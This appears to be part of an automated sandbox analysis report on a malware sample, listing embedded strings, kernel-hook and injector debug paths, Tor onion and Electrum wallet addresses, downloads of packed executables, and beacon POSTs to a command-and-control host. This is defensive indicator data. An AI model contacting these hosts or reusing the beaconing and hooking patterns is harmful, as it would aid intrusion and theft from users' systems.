Source:	Binary string: dbghelp.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019D5C10 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,

36_2_00007FF7019D5C10

Networking:

Found Tor onion address

Show sources

Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Nov 2021 12:12:39 GMTContent-Type: application/octet-streamContent-Length: 3788288Connection: keep-alivecontent-disposition: attachment; filename=app.exeetag: "616ea4c2-39ce00"last-modified: Tue, 19 Oct 2021 10:58:10 GMTCache-Control: max-age=3600CF-Cache-Status: HITAge: 726Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aGUDRkZW12WFb0Z1WtbDazJRsyQjmf37XuogvaYwPWl6MnjPMl4eqYDp2G4rixUdVCHSJNAij3d%2BJyafZy7nG%2FpPEkNqHIpND7MIWu%2Fkz1fTe%2FgV6DrKP1Wv8esq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 6a8dc077cd066933-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 24 8a 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 d0 39 00 00 10 00 00 00 30 52 00 20 08 8c 00 00 40 52 00 00 10 8c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 20 8c 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 8c 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 30 52 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 39 00 00 40 52 00 00 ca 39 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 10 8c 00 00 02 00 00 00 cc 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$90R @R@ UPX00RUPX19@R9@UPX29@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Nov 2021 12:13:29 GMTContent-Type: application/octet-streamContent-Length: 2102272Connection: keep-alivecontent-disposition: attachment; filename=watchdog.exeetag: "616ea494-201400"last-modified: Tue, 19 Oct 2021 10:57:24 GMTCache-Control: max-age=3600CF-Cache-Status: HITAge: 802Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yf%2BGD8l7373ZeZ%2Bx2Q1xpl%2FgZXFhtKWeXRYuOa7bn%2FvVZo559VS4xe2flpcsnosSzS0Rx9wZavPEonRFgpdfi6r8EDDYvPMTxUa18GxPfvjXzcqZC%2B2iZbRyMbg4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 6a8dc1b08ff06913-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M

Source: global traffic	HTTP traffic detected: POST /api/poll HTTP/1.1Host: server2.trumops.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0Content-Length: 640Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: POST /api/poll HTTP/1.1Host: server2.trumops.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36Content-Length: 660Accept-Encoding: gzip

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Nov 2021 12:13:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11CF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Ub0PA9Fmqq7OZHOTnOGcBRJwBnYj5ryxvyzrx6FOHxWcZzcHyVWiVfUPaGejltXTD%2F6SRqhh%2Br%2FCIFY9JbyleDFHvMUOkdoo5Awj3PJCVy9rH9NMnIkhsde%2BuCf1%2BDnWMfdu2Yl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a8dc126190b7037-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Nov 2021 12:13:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11set-cookie: PHPSESSID=jp6rg8da1hqqg23tjramjvmq4d; path=/; HttpOnlyexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cacheaccess-control-allow-credentials: falseCF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VULNO5Jg3NJ174F0kG6Gst68KUn7qITHMZj2A7IY4Nz0a1rfozYrXWuoYRMg%2FxRYwvjKeu5aorLZfTsqKFJnH5%2B410dszzmqHyXdOL7bIrl%2BSVbGW2OHUGkkeU93qYeHI6CXQle4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a8dc15e7c2f774a-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Nov 2021 12:14:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11set-cookie: PHPSESSID=cnlc3ums43ob7amk913qjg230o; path=/; HttpOnlyexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cacheaccess-control-allow-credentials: falseCF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K8%2BWwHFzEcC65SRlptMAbLk1ZeMBaUi3xsBQMNzzlQjB5u4QmzHcBSCpMW4bK08piNRaXwWPyWEKl2fynOjutLpjH0glYZ3e22rPHrf252BU1FX1nS%2Bm8MaGSw3sfE8O7dW6RE8S"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6a8dc28c88274a67-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Source: svchost.exe, 0000001F.00000003.417632468.000002A19898C000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001F.00000003.417632468.000002A19898C000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.twitter.com (Twitter)
Source: svchost.exe, 0000001F.00000003.417671941.000002A19899D000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2021-10-29T13:27:37.0950019Z\|\|.\|\|b9c681af-ac5a-4a25-a010-7b8f06b1a611\|\|1152921505694056387\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabilities":[{"Sku"
Source: svchost.exe, 0000001F.00000003.417671941.000002A19899D000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","V